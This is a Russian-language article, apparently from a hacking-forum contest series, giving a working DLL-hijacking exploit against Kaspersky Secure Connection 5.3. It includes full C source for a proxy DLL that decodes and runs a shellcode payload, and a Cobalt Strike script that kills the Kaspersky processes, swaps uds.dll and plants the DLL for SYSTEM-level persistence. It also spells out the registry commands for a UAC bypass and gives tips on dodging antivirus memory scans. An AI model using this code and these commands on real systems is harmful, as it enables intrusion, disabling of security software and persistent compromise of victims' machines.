.text:1001EF6D mov eax, [ebp+arg_4]
.text:1001EF70 cmp eax, 49CEED28h
.text:1001EF75 jnz short loc_1001EF83
.text:1001EF77 mov edx, [ebp+arg_8]
.text:1001EF7A mov ecx, [ebp+arg_0]
.text:1001EF7D pop ebp
.text:1001EF7E jmp loc_1001F30F
.text:1001EF83 loc_1001EF83:
.text:1001EF83 cmp eax, 99A069E0h
.text:1001EF88 jnz short loc_1001EF96
.text:1001EF8A mov edx, [ebp+arg_8]
.text:1001EF8D mov ecx, [ebp+arg_0]
.text:1001EF90 pop ebp
.text:1001EF91 jmp loc_1001F36A
.text:1001EF96 loc_1001EF96:
.text:1001EF96 cmp eax, 0B9FD38B9h
.text:1001EF9B jnz short loc_1001EFA9
.text:1001EF9D mov edx, [ebp+arg_8]
.text:1001EFA0 mov ecx, [ebp+arg_0]
.text:1001EFA3 pop ebp
.text:1001EFA4 jmp loc_1001F3C5
.text:1001EFA9 loc_1001EFA9:
.text:1001EFA9 cmp eax, 0BAD1BAD1h
.text:1001EFAE jnz short loc_1001EFB6
.text:1001EFB0 jmp ds:__imp_terminate
.text:1001EFB6 loc_1001EFB6:
.text:1001EFB6 mov eax, [ebp+arg_8]
.text:1001EFB9 and dword ptr [eax], 0
.text:1001EFBC mov eax, 80000043h
.text:1001EFC1 pop ebp
.text:1001EFC2 retn
.text:1001EFC2 ekaGetObjectFactory endp
Если посмотреть в конце функции, то можно увидеть, что возвращаемое значение (из этой экспортируемой функции) в регистре mov eax, 80000043h похоже на код какой-то ошибки, что в принципе также делает возможным сделать функцию обертки с возвращаемыми значениями по умолчанию, ну например, так:
Код:
NTSTATUS __cdecl EXPORT_ekaGetObjectFactory(void)
{
InitStart();
return ERROR_SUCCESS;
}
В этой строчке кода and dword ptr [eax], 0 также что-то должно возвращаться, а это может быть какой-то указатель на какой-то класс, и если там будет какое-то мусорное значение, то у антивируса может нарушиться работоспособность.
Поэтому придется проанализировать код, более детальнее для того, чтобы создать вручную прототип этой экспортируемой функции, так как IDA Pro на автоподсосе не справилась со своей задачей и вернула неправильный прототип int __cdecl ekaGetObjectFactory(int, int, _DWORD *); этой экспортируемой функции...
Тут в принципе ничего сложного нет при анализе кода, достаточно проследить за регистрами и изменяемыми в них значениями, тут более важное знать, что есть просто значение, передаваемое в функцию, а есть еще указатель на определенный участок в памяти/стеке и еще нужно знать сколько принимает эта функция параметров...
Если со значениями параметров все просто, там обычно тип DWORD или QWORD (и IDA Pro обычно сама определит, как и количество параметров, требуемых для функции), то с указателями не все так просто... приходится тщательнее проверять, является этот параметр указателем или нет.
Проще, да и правильнее, будет делать реверсинг как x86, так и x64 версий сразу обоих... вообще тема реверс-инжиниринга не является тривиальной задачей, там нужно уметь пользоваться специальными программами, знать ЯП ассемблер как x86, так и x64, еще C/C++/C++23(C2x), а еще Python, Java, Web и т. д.
В результате реверс-инжиниринга мы выяснили, какими должны быть прототипы этих экспортируемых функции:
Код:
BOOL __stdcall ekaCanUnloadModule(void);
NTSTATUS __stdcall ekaGetObjectFactory(PVOID param1, DWORD param2, PVOID param3);
Существует и другой способ создания wrapper'ов для Proxy DLL, там и реверс-инжиниринг не требуется, ну разве что, чисто символически, но эта тема уже выходит за рамки данной статьи...
Создание Proxy DLL
Вот, собственно, и готовый код этой Proxy DLL:
Компилируем и билдим в Cobalt Strike также как это делалось в первой части этой шестой статьи.
Полностью весь код, готового эксплойта, можно будет скачать ниже...
код шаблона универсальный, можно компилировать как x86, так и x64
Код:
#pragma optimize( "", off )
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#define DATA_SIZE 0x47000
#define NUMBER_OF_EXPFUNCS 2
#define LPFUNCTION(func) decltype(func) * p ## func
//void __cdecl ekaCanUnloadModule(void);
//void __cdecl ekaGetObjectFactory(void);
BOOL __stdcall ekaCanUnloadModule(void);
NTSTATUS __stdcall ekaGetObjectFactory(PVOID param1, DWORD param2, PVOID param3);
typedef void (__cdecl *START)();
typedef LPFUNCTION(ekaCanUnloadModule);
typedef LPFUNCTION(ekaGetObjectFactory);
#pragma pack(1)
typedef struct DATA {
BYTE XKEY[2];
DWORD size;
DWORD gmhOffset;
DWORD gpaOffset;
BYTE payload[0];
} DATA, *PDATA;
typedef struct API {
struct {
pekaCanUnloadModule ekaCanUnloadModule;
pekaGetObjectFactory ekaGetObjectFactory;
//PVOID ekaCanUnloadModule;
//PVOID ekaGetObjectFactory;
};
PVOID pfn[NUMBER_OF_EXPFUNCS];
} API, *PAPI;
#pragma pack()
#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
BOOL once = FALSE;
HMODULE hInstance = NULL;
HMODULE hModule = NULL;
API api = { 0 };
#pragma data_seg()
void set_key_pointers(PBYTE buffer) {
PDATA pData = (PDATA)&data[0];
/* this payload does not adhere to our protocol to pass GetModuleHandleA / GetProcAddress to the payload directly. */
if(pData->gmhOffset <= 0 || pData->gpaOffset <= 0) return;
*(SIZE_T*)(buffer + pData->gmhOffset) = (SIZE_T)GetModuleHandleA;
*(SIZE_T*)(buffer + pData->gpaOffset) = (SIZE_T)GetProcAddress;
}
__declspec(noinline) DWORD __stdcall StartThread(__in LPVOID unused)
{
PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
PDATA pData = (PDATA)&data[0];
for(DWORD i = 0; i < pData->size; i++)
{
buffer[i] = pData->payload[i] ^ pData->XKEY[i % 2];
}
/* propagate our key function pointers to our payload */
set_key_pointers(buffer);
START start = (START)buffer;
start();
return ERROR_SUCCESS;
}
__declspec(noinline) void __stdcall InitStart()
{
if(!once)
{
wchar_t szDllPath[MAX_PATH];
wchar_t szDllName[] = { 'k', 'l', 'u', 'd', 's', '.', 'd', 'l', 'l', 0, 0 };
GetModuleFileNameW(hInstance, szDllPath, MAX_PATH);
PathRemoveFileSpecW(szDllPath);
PathAppendW(szDllPath, szDllName);
hModule = LoadLibraryW(szDllPath);
char szFunctionNames[][30] = { // MAX_FUNCNAME_LENGTH = 30
{ 'e', 'k', 'a', 'G', 'e', 't', 'O', 'b', 'j', 'e', 'c', 't', 'F', 'a', 'c', 't', 'o', 'r', 'y', 0 },
{ 'e', 'k', 'a', 'C', 'a', 'n', 'U', 'n', 'l', 'o', 'a', 'd', 'M', 'o', 'd', 'u', 'l', 'e', 0 },
};
for(int i = 0; i < NUMBER_OF_EXPFUNCS; i++)
{
api.pfn[i] = GetProcAddress(hModule, szFunctionNames[i]);
}
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)StartThread, 0, 0, NULL);
if(hThread) CloseHandle(hThread);
once = TRUE;
}
}
//void __cdecl EXPORT_ekaCanUnloadModule(void)
BOOL __cdecl EXPORT_ekaCanUnloadModule(void)
{
InitStart();
return (api.ekaCanUnloadModule != NULL) ? api.ekaCanUnloadModule() : FALSE;
}
//void __cdecl EXPORT_ekaGetObjectFactory(void)
NTSTATUS __cdecl EXPORT_ekaGetObjectFactory(PVOID param1, DWORD param2, PVOID param3)
{
InitStart();
return (api.ekaGetObjectFactory != NULL) ? api.ekaGetObjectFactory(param1, param2, param3) : ERROR_SUCCESS;
}
#pragma comment(linker, "/entry:DllEntryPoint")
BOOL __stdcall DllEntryPoint(HMODULE hInstance, DWORD fdwReason, PVOID pContext)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
::hInstance = hInstance;
//InitStart();
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Первое здесь применяется макрос LPFUNCTION() для создания типовых указателей для функций, достаточно написать в качестве параметра имя функции typedef LPFUNCTION(ekaGetObjectFactory); и все.
Раньше нужно было лепить дополнительно всякие городульки типа:
Код:
typedef NTSTATUS (__stdcall *pekaGetObjectFactory)(PVOID param1, DWORD param2, PVOID param3);
Был изменен код для получения пути, при помощи функции GetModuleFileNameW, до директории, в которой находится оригинальная DLL с измененным именем...
Имя оригинальной uds.dll было изменено на kluds.dll - префикс kl очень часто используется в именах файлов Kaspersky Total Security
Был изменен код, для получения адресов экспортируемых функций из оригинальной uds.dll, теперь достаточно будет изменять список имен функций в многомерном массиве szFunctionNames и указать количество этих функций в константе NUMBER_OF_EXPFUNCS, если этот код будет использоваться в качестве шаблона для других эксплойтов.
В коде дополнительно используется директива #pragma optimize( "", off ), которая влияет на генерируемый код компилятором для размещения имен функций непосредственно в самом коде, а не в секции дата, для того чтобы исключить возможность детекта именно целых строк при сканировании памяти антивирусами.
Автоматизация процесса атаки
Для автоматизации процесса атаки, я создал специальный скрипт для Cobalt Strike'а
Вся эта автоматизация требует обязательной работы маяка из-под доверительного процесса, иначе антивирус будет убивать маяк еще на стадии "зачатия"!
Код:
beacon_command_register("gf", "GoldFish Exploit x86/x64 (for the Kaspersky Secure Connection 5.3)",
"Use: gf\n\nGoldFish Exploit x86/x64 (for the Kaspersky Secure Connection 5.3)");
alias gf { goldfish($1); }
@KSC_DIRS = @();
push(@KSC_DIRS, @('C:\\Program Files\\Kaspersky Lab\\Kaspersky Secure Connection 5.3', "x64"));
push(@KSC_DIRS, @('C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Secure Connection 5.3', "x86"));
sub goldfish {
local('$entry $dir $arch $handle $dll_path $dll_raw');
bsleep($1, 1, 50);
# to kill a processes. (ksde.exe & ksdeui.exe)
bps($1, &kill_ksde);
foreach $entry (@KSC_DIRS) {
($dir, $arch) = $entry;
# rename dll
bcd($1, $dir);
bmv($1, "uds.dll", "kluds.dll");
# upload dll
$dll_path = script_resource("uds. $+ $arch $+ .dll");
$handle = openf($dll_path);
$dll_raw = readb($handle, -1);
closef($handle);
if(strlen($dll_raw) != 0){
bupload_raw($1, $dir . "\\uds.dll", $dll_raw);
}
else {
println("\c5 $+ File not found: $+ $dll_path $+ \o");
}
}
bsleep($1, 10, 50);
}
@KSDE_NAMES = @('ksde.exe', 'ksdeui.exe');
# Arguments to the callback are: $1 = beacon ID, $2 = results
sub kill_ksde {
local('$entry $name $ppid $pid $arch $user');
foreach $entry (split("\n", $2)) {
($name, $ppid, $pid, $arch, $user) = split("\t", $entry);
if ($name in @KSDE_NAMES) {
blog("\c9 $+ $name $ppid $pid $arch $user $+ \o");
bkill($1, parseNumber($pid, 10));
}
}
}
Кстати, если их постоянно убивать, то через некоторое время, они вообще перестанут перезапускаться...
Нам нужно выполнить подмену DLL до того, как произойдет перезапуск ksde.exe
На данный момент у нас достаточно прав (после обхода UAC), чтобы убить процесс ksde.exe, переименовать uds.dll в kluds.dll и загрузить нашу Proxy DLL в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3
Кстати, такие манипуляции невозможно осуществить над процессом avp.exe после обхода UAC, а вот ksde.exe оказался во всех отношениях слабым к атаке DLL Hijacking
Пару слов о скрипте:
Думаю, скрипт получился читабельным и особо в комментариях не нуждается, да и у вас у всех было достаточно времени изучить тему скриптов для Cobalt Strike'а еще с первого моего участия в прошлом конкурсе, но один важный момент все же стоит уточнить:
В скрипте в многомерный массив KSC_DIRS можно добавлять дополнительные пути директорий (возможно и другие версии Kaspersky Secure Connection уязвимы к подобной атаке), в которых находится uds.dll и для требуемой версии Proxy DLL указывать x86 или x64
После того, как будет убит процесс ksde.exe и переименована uds.dll в kluds.dll и загружена в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 подменяемая Proxy DLL произойдет автоматический перезапуск ksde.exe и ksdeui.exe и у нас появится в Cobalt Strike'е системный процесс маяка с сессией 0
Процитирую здесь пару строк из первой части, как итог всего этого:
Этот все будет работать даже, если произойдет перезагрузка системы, так как после перезагрузки системы будет запущен ksde.exe который подгрузит наш маяк в свое адресное пространство.3. Смотрим какой есть софт в автозагрузке системы, и если он есть, то в этом софте и пытаемся заменить оригинальную динамическую библиотеку из папки с программой на вредоносную динамическую библиотеку маяк(beacon), которая будет при следующем старте системы подгружена в адресное пространство приложения. (тут много нюансов, я их сознательно опустил, так как эта тема выходит за рамки данной статьи)
4. Важным критерием при выборе софта, является софт, который работает из-под администратора. (тут много нюансов, я их сознательно опустил, так как эта тема выходит за рамки данной статьи)
1. Сам процесс маяка будет иметь привилегии NT AUTHORITY\SYSTEM
2. Этот процесс должен использоваться только как закрепление в ОС с возможностью запуска других отдельных процессов маяков с повышенными привилегиями, для дальнейшего проведения атак для продвижения/разведки в системе/сети...
3. Сейчас нужно проводить объемный комплекс атак, чтобы достичь поставленной задачи, и на первых этапах не стоит пренебрегать свежими и актуальными паблик решениями... тем более, что так можно быстро добиться поставленной задачи.
4. Не использовать штатный функционал из МОДУЛЕЙ Cobalt Strike'а, так как они моментально детектятся антивирусами при сканировании памяти, ну например, mimikatz сразу задетектят, да и вообще от таких детектов не спасет даже Notepad++.
А Kaspersky Total Security постоянно автоматически сканирует новую выделяемую память (от этого Notepad++ может спасти) и периодически сканирует всю память, а здесь шансов избежать детектов просто нет - для этого нужно либо основательно чистить сами модули Cobalt Strike'а (про то, как чистить модули, я подробно написал в четвертой статье), либо юзать свой набор чистых нативных BOF'ов с syscall'ами... (про BOF'ы я писал в первой и третьей статьях)
5. Proxy DLL должна быть обязательно закриптована специальным уникальным криптом...
Последовательность действий, которые нужно выполнить в определенном порядке, для выполнения эксплойта
Загружаем скрипт goldfish.cna в Cobalt Strike (как пользоваться скриптами, я подробно писал в первой статье)
Обязательно рядом со скриптом должны находиться uds.x86.dll и uds.x64.dll
Далее, вводим строку в интерактивной консоли маяка Cobalt Strike'а
Код:
shell reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_DWORD /d 0 /f
Код:
shell reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "" /t REG_SZ /d "c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe" /f
Загрузить можно через Explore -> File Browser далее в появившейся вкладке указываем путь до директории, в которую будет загружаться софт и загружаем сам софт нажав на кнопку Upload и выбрав там софт для загрузки в указанную директорию.
Вводим строку в интерактивной консоли маяка Cobalt Strike'а
Код:
shell computerdefaults.exe
Далее, вводим строку в интерактивной консоли маяка Cobalt Strike'а с привилегиями администратора.
Код:
gf
Ну, и вишенка на торте, выполняем следующую команду в интерактивной консоли маяка Cobalt Strike'а с СИСТЕМНЫМИ привилегиями:
Код:
getprivs
